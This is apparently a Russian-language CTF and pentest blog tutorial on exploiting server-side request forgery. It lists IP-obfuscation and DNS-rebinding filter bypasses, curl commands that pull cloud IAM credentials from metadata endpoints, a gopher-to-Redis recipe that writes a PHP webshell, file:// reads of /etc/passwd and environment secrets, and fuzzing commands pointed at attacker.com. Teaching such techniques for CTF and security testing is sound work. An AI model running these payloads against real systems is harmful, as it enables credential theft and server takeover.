
SSRF стала первой по голосованию сообщества при формировании OWASP Top 10 2021 и заняла десятую строчку — A10:2021 Server-Side Request Forgery. По данным SonicWall (цитируемым в отчёте Vectra AI), количество SSRF-атак в 2024-м выросло на 452% год к году. Существенная часть роста — AI-инструменты автоматизации, которые опустили порог входа до «вбей URL и нажми кнопку». В CTF-тасках подделка запросов на сервере встречается стабильно: URL-previewer, PDF-генератор, webhook-обработчик — почти гарантированная точка входа. Ниже — пошаговый разбор того, как я нахожу и эксплуатирую SSRF в CTF: от обнаружения до вытаскивания флага через gopher к внутреннему Redis.
SSRF в CTF не прячется — она заложена в логику задачи. Каждая функция, где приложение принимает URL от пользователя, — потенциальный вектор. В терминах MITRE ATT&CK это первая фаза Exploit Public-Facing Application (T1190, Initial Access): атакующий через веб-приложение заставляет сервер ходить по произвольным адресам. Подробнее — в нашем руководстве по создание ctf заданий.
URL-фетчеры и превью — классика CTF. Приложение принимает URL, делает к нему запрос и возвращает содержимое или генерирует скриншот. Параметры url=, page=, site=, fetch=, load= — первое, на что смотрю в HTTP-запросах через Burp Suite.
PDF/image-генераторы — менее очевидная, но частая точка входа. Если таск генерирует PDF по HTML-разметке (wkhtmltopdf, Puppeteer, WeasyPrint), инъекция тега <img src="http://internal-service/"> или <iframe> триггерит SSRF. Согласно PortSwigger, URLs within data formats — один из скрытых векторов, который регулярно пропускают.
Webhook-обработчики. Параметры callback_url, webhook, notify_url — приложение само отправляет запрос на указанный адрес. В CTF это маскируется под «уведомление» или «интеграцию».
Заголовки HTTP. Host, X-Forwarded-Host, X-Original-URL, Referer — менее очевидный вектор, но в CTF повышенной сложности встречается. По данным исследователей (цитируемым в материале codeby.net), SSRF через заголовок Host позволяла сканировать порты внутренней сети по разнице в статус-кодах ответа.
Импорт данных. Поля import_url, file_url, source= — приложение подтягивает данные из внешнего источника. В CTF это маскируется под «импорт конфигурации» или «загрузку шаблона».
На этапе разведки прогоняю весь трафик через Burp Suite и помечаю каждый параметр с URL-подобным значением. Для обнаружения скрытых параметров — ffuf -w params.txt -u "https://target/api/fetch?FUZZ=http://attacker.com" -fs 0. Фильтрация по размеру ответа выявляет параметры, невидимые в UI.
Отдельная категория — partial URLs. Некоторые приложения принимают не полный URL, а только hostname или путь. Полного контроля над запросом нет, но hostname достаточно для сканирования внутренней сети — а это уже Network Service Discovery (T1046, Discovery).
Обнаружив подозрительный параметр, первое действие — подтверждение. Три сценария.
Классическая SSRF (non-blind). Сервер возвращает содержимое ответа прямо в HTTP-response. Подставляю http://127.0.0.1/ — если в ответе вижу HTML внутреннего сервиса, уязвимость подтверждена. В CTF это самый частый случай: таск специально возвращает body ответа, чтобы можно было читать содержимое внутренних ресурсов. Пример из PortSwigger: приложение интернет-магазина проверяет наличие товара на складе через параметр stockApi=http://stock.weliketoshop.net:8080/... — подмена на stockApi=http://localhost/admin отдаёт содержимое админки.
Blind SSRF. Сервер выполняет запрос, но не возвращает ответ клиенту. Для подтверждения нужен OOB-канал — внешний сервер, фиксирующий входящее соединение. Стандартный подход: подставляю адрес Burp Collaborator или self-hosted interactsh (от ProjectDiscovery). DNS-lookup или HTTP-запрос пришёл — SSRF подтверждена, даже если ответ приложения не изменился.
Критический нюанс для CTF: даже если HTTP-трафик наружу заблокирован (частый приём организаторов), DNS-резолв почти всегда разрешён. Payload вида http://uniqueid.attacker-dns.com может не дойти как HTTP, но DNS-запрос зафиксируется. Этого достаточно.
Semi-blind техника (time-based). Если OOB-канал недоступен (изолированная среда CTF), отправляю запросы к разным портам localhost и измеряю время ответа. Открытый порт (скажем, http://127.0.0.1:6379 — Redis) вернёт ответ быстрее или с другим статус-кодом, чем закрытый (http://127.0.0.1:9999). Так определяю, какие сервисы живут на хосте.
В CTF редко бывает «голая» SSRF без фильтрации. Организаторы ставят блокировки — и задача в том, чтобы их обойти. Три категории обходов от простого к сложному.
Большинство защит — denylist на regex: блокируются 127.0.0.1, localhost, 10.x.x.x, 192.168.x.x. Подход обречён из-за множества альтернативных представлений одного адреса. Вот набор, который я использую на каждом CTF:
http://2130706433/ # decimal = 127.0.0.1
http://0x7f000001/ # hex = 127.0.0.1
http://0177.0.0.1/ # octal = 127.0.0.1
http://127.1/ # short-hand = 127.0.0.1
http://0/ # = 0.0.0.0
http://[::1]/ # IPv6 loopback
http://[::ffff:127.0.0.1]/ # IPv6-mapped IPv4
http://127.127.127.127/ # весь 127.0.0.0/8 = loopback
http://0xa9fea9fe/ # hex = 169.254.169.254
Логика простая: фильтр проверяет строковое совпадение с 127.0.0.1, а 2130706433 — тот же адрес в decimal. Функция inet_aton() (в curl, Python requests на Linux через glibc) преобразует обе записи в один IP. Фильтр пропускает строку — HTTP-клиент резолвит в localhost. Аналогично для cloud metadata: decimal 2852039166 = 169.254.169.254. Эти представления перечислены в PayloadsAllTheThings (swisskyrepo) — держу его открытым на каждом CTF.
Дополнительные приёмы: URL-encoding. Если фильтр блокирует /admin, то http://127.0.0.1/%61dmin (single-encode) или http://127.0.0.1/%2561dmin (double-encode) могут пройти — зависит от того, декодирует ли фильтр URL перед проверкой. Enclosed alphanumeric-символы — ещё один вектор из PayloadsAllTheThings: http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com. Против наивных regex-проверок работает на ура.
Whitelist-фильтры сложнее: приложение разрешает запросы только к определённым доменам. Два основных подхода.
Open Redirect. Если в приложении или на разрешённом домене есть open redirect, можно обмануть валидатор: фильтр видит разрешённый домен, пропускает запрос, а HTTP-клиент следует за редиректом на произвольный адрес. По данным PortSwigger, коды 307 и 308 сохраняют HTTP-метод и body после переадресации — для POST-based SSRF это критично.
Для CTF-тасков без собственного redirect-сервера работает утилита r3dir (Horlad/r3dir): https://307.r3dir.me/--to/?url=http://localhost отдаёт 307-редирект на localhost. Для metadata: https://62epax5fhvj3zzmzigyoe5ipkbn7fysllvges3a.302.r3dir.me — 302 на http://169.254.169.254/latest/meta-data/. Интегрируется с Burp через Hackvertor-теги.
URL parsing discrepancies. Спецификация URL содержит фичи, которые парсеры обрабатывают по-разному. Ключевые трюки (PortSwigger): символ @ для подмены hostname (https://expected-host:fakepassword@evil-host), фрагмент # для ложного совпадения (https://evil-host#expected-host), DNS-иерархия (https://expected-host.evil-host). Комбинация этих техник ломает большинство whitelist-парсеров.
Парсинговая уязвимость особенно вкусная в Python: по данным PayloadsAllTheThings, строка http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ даёт три разных destination. urllib2 идёт на 1.1.1.1, requests редиректит на 2.2.2.2, urllib резолвит в 3.3.3.3. Если знаете, какая библиотека на бэкенде — подбираете payload под её парсер.
DNS rebinding — техника, при которой домен чередует ответы между двумя IP. Первый DNS-запрос (на этапе валидации) возвращает «безопасный» IP, второй (на этапе реального запроса) — целевой внутренний адрес.
Сервис 1u.ms создаёт такие домены без инфраструктуры: make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms. Первый nslookup отдаёт 1.2.3.4, следующий — 169.254.169.254. Фильтр видит легитимный внешний IP, HTTP-клиент получает metadata-эндпоинт.
Сервис nip.io работает проще: 127.0.0.1.nip.io резолвится в 127.0.0.1, anything.192.168.1.100.nip.io — в 192.168.1.100. Если фильтр проверяет «не является ли hostname IP-адресом», bypass.192.168.1.100.nip.io пройдёт — это доменное имя, не IP. Также spoofed.burpcollaborator.net зарегистрирован на 127.0.0.1.
Домен с TLD .localhost — по стандарту любой поддомен .localhost резолвится в loopback. На Linux payloadsallthethings.localhost = ::1 (IPv6 loopback).
Если CTF-таск развёрнут в облаке, SSRF открывает доступ к metadata-сервису — и это главный приз. В терминах MITRE ATT&CK — Cloud Instance Metadata API (T1552.005, Credential Access).
# AWS IMDSv1 — GET без аутентификации
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
# GCP — требует заголовок Metadata-Flavor: Google
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/
# Azure — требует заголовок Metadata: true
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance"
AWS IMDSv1 — простой GET без аутентификации. Ответ на путь /latest/meta-data/iam/security-credentials/<role-name> содержит AccessKeyId, SecretAccessKey, SessionToken. Три значения — полный доступ к AWS-аккаунту в рамках роли. Вот так, одним GET-запросом.
IMDSv2 требует предварительный PUT для получения session token. Через типовой GET-only SSRF это не работает, но обходы через gopher:// или HTTP request smuggling возможны. На практике на многих EC2-инстансах до сих пор активен IMDSv1: если GET к http://169.254.169.254/latest/meta-data/ возвращает ответ — IMDSv1 работает. Проверяйте первым делом.
GCP и Azure требуют специфические заголовки, что затрудняет эксплуатацию — не каждый серверный HTTP-клиент позволяет устанавливать произвольные заголовки через пользовательский URL. Но если SSRF позволяет контролировать заголовки (через CRLF injection) — metadata доступен.
Масштаб угрозы в реальном мире: CVE-2025-61882 в Oracle E-Business Suite (CVSS 9.8 CRITICAL, вектор AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, CWE-287 Improper Authentication) — уязвимость в компоненте BI Publisher Integration, версии 12.2.3–12.2.14. CISA добавила её в каталог Known Exploited Vulnerabilities 06.10.2025 с дедлайном 27.10.2025. EPSS-оценка — 0.9973 (top 0.05% всех CVE). SSRF в цепочке с обходом аутентификации приводила к полному захвату Oracle Concurrent Processing. Из «читалки файлов» — в полную компрометацию enterprise-системы. Один запрос.
SSRF не ограничивается HTTP. Если серверный HTTP-клиент поддерживает другие протоколы, возможности расширяются кратно — это уже Exploitation of Remote Services (T1210, Lateral Movement).
file:// — чтение локальных файлов. file:///etc/passwd, file:///proc/self/environ (переменные окружения — часто содержат секреты), file:///app/flag.txt. Работает, если HTTP-клиент поддерживает scheme file://.
gopher:// — основное оружие для атак на внутренние сервисы. Gopher позволяет отправить произвольные TCP-данные — по сути raw TCP через URL. Типичные цели в CTF:
Redis (порт 6379). Через gopher отправляем команды CONFIG SET dir /var/www/html, CONFIG SET dbfilename shell.php, SET payload "<?php system($_GET['cmd']);?>", SAVE — и записываем webshell. Gopherus (tarunkant/Gopherus) генерирует готовые gopher-payloads для Redis, MySQL, FastCGI, SMTP. Архивный (последний коммит 2020), но gopher-формат стабилен — payloads работают.
MySQL (порт 3306). Если MySQL настроен на доступ без пароля для localhost (частый кейс в CTF), gopher-payload выполняет SQL-запрос напрямую.
FastCGI (порт 9000). Через gopher можно отправить FastCGI-запрос к PHP-FPM и выполнить произвольный PHP-код.
dict:// — простой способ отправить одну команду TCP-сервису. dict://127.0.0.1:6379/INFO отдаст информацию о Redis. Менее мощный, чем gopher, но работает, когда gopher заблокирован.
Бизнес-логика атаки: SSRF — не финальная цель, а трамплин. Один HTTP-запрос превращает внешнюю атаку во внутреннюю. Сервер уже за периметром, использует implicit trust — и этим злоупотребляют. Монетизация в реальных инцидентах идёт через кражу облачных credentials (доступ к S3-бакетам, базам данных), lateral movement и эксфильтрацию данных.
Полный workflow решения CTF-таска с SSRF — от нуля до флага.
Шаг 1: Маппинг attack surface. Весь трафик через Burp Suite. Расширение Collaborator Everywhere автоматически подставляет Collaborator-адреса в заголовки Referer, X-Forwarded-For, Host каждого запроса. Если сервер обращается к любому из них — blind SSRF подтверждена без ручной работы. Wappalyzer определяет стек: Next.js, Sentry или SSO-интеграция часто содержат фичи, которые разработчики забывают отключить.
Шаг 2: Фаззинг параметров. Если явного URL-параметра нет, запускаю ffuf со словарём параметров. Фильтрую по размеру ответа — изменение размера означает, что параметр обработан бэкендом.
Шаг 3: Подтверждение и определение типа. Подставляю Collaborator / interactsh-адрес. HTTP-callback с body → классическая SSRF. DNS-callback без HTTP → DNS-only blind SSRF. Ни того, ни другого, но время ответа различается → time-based semi-blind.
Шаг 4: Обход фильтров. Payloads в порядке возрастания сложности: прямой IP → decimal/hex/octal → IPv6 → nip.io → DNS rebinding → open redirect → URL parsing tricks. Каждый неудачный payload даёт информацию о типе фильтра. Если приходит ошибка с текстом — анализирую её: «Invalid URL», «Host not allowed», «Connection refused» говорят о разных стадиях обработки.
Шаг 5: Сканирование внутренних сервисов. Подтвердив SSRF, сканирую стандартные порты localhost: 80, 8080, 3000, 5000 (web), 6379 (Redis), 9200 (Elasticsearch), 3306 (MySQL), 5432 (PostgreSQL), 27017 (MongoDB). В Kubernetes пробую http://kubernetes.default.svc — если отвечает, доступен API-сервер кластера. DNS-имена сервисов вроде http://redis-service:6379 — стандарт для k8s.
Шаг 6: Извлечение данных или escalation. В зависимости от обнаруженного: cloud metadata → credentials → доступ к облачным ресурсам; Redis → gopher-payload → webshell/RCE; внутренняя admin-панель → чтение флага; файловая система → file:///flag.txt или file:///proc/self/environ для секретов.
Арсенал инструментов: Burp Suite (Pro или Community + interactsh) — основной прокси, Collaborator для blind SSRF, Repeater для отладки payloads. SSRFmap (swisskyrepo/SSRFmap) — автоматический фаззер с модулями portscan, readfiles, redis, aws, gce; параметр --level автоматически применяет bypass-техники. Gopherus (tarunkant/Gopherus) — генератор gopher-payloads для Redis, MySQL, FastCGI. curl — ручная проверка: поддерживает gopher, file, dict из коробки. ipfuscator (dwisiswant0/ipfuscator) — генерация альтернативных представлений IP. r3dir (Horlad/r3dir) — redirect-сервис для обхода фильтров.
По SSRFmap отдельно: инструмент принимает файл с HTTP-запросом и уязвимый параметр — python3 ssrfmap.py -r request.txt -p url -m portscan. Модули readfiles скачивают /etc/passwd, /etc/shadow; aws/gce/digitalocean вытягивают cloud metadata. Модуль redis эксплуатирует Redis для получения shell. По концепции — «sqlmap для SSRF» (vaadata.com), и по ощущениям работает похоже.
Большинство CTF-writeups по SSRF сводятся к «подставил payload — получил флаг». Реальная сложность не в финальном payload, а в процессе его нахождения. Фильтры в современных тасках комбинируют denylist, whitelist и проверку DNS-resolve одновременно: сначала резолвят домен, проверяют IP и только потом делают запрос. Против такой защиты не работает ни nip.io, ни decimal IP — нужен DNS rebinding с правильным таймингом, и тут уже всё зависит от TTL-кэша DNS на сервере.
Ещё одна вещь, которую упускают: SSRF — не только про чтение. POST-based SSRF (когда HTTP-клиент поддерживает POST или PUT) превращает уязвимость в инструмент записи. Через gopher можно отправить POST внутреннему API, создать пользователя, изменить конфигурацию. В CTF это встречается реже, но в реальном пентесте — постоянно.
Тренд, который наблюдаю с 2021 года: организаторы CTF усложняют фильтры на HTTP-уровне, но забывают про протоколы. Блокируют http:// и https://, пропускают gopher://, file://, dict://. Первое действие после обнаружения фильтра — проверить поддержку альтернативных схем. Если хотя бы file:// работает — можно читать исходный код приложения и искать ключи или пароли в конфигах.
По моему опыту, основная ошибка тех, кто застревает на SSRF-тасках, — они пытаются обойти фильтр в лоб, перебирая IP-представления, вместо того чтобы переключиться на другой протокол или на другой уровень обхода. Методология важнее набора payloads: понимание того, что именно проверяет фильтр (строку, DNS-резолв, HTTP-ответ), определяет вектор обхода. Если хочешь не просто один writeup прочитать, а пройти всю атаку самому — на WAPT есть лаба именно с этим вектором и ментор в чате при затыке.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...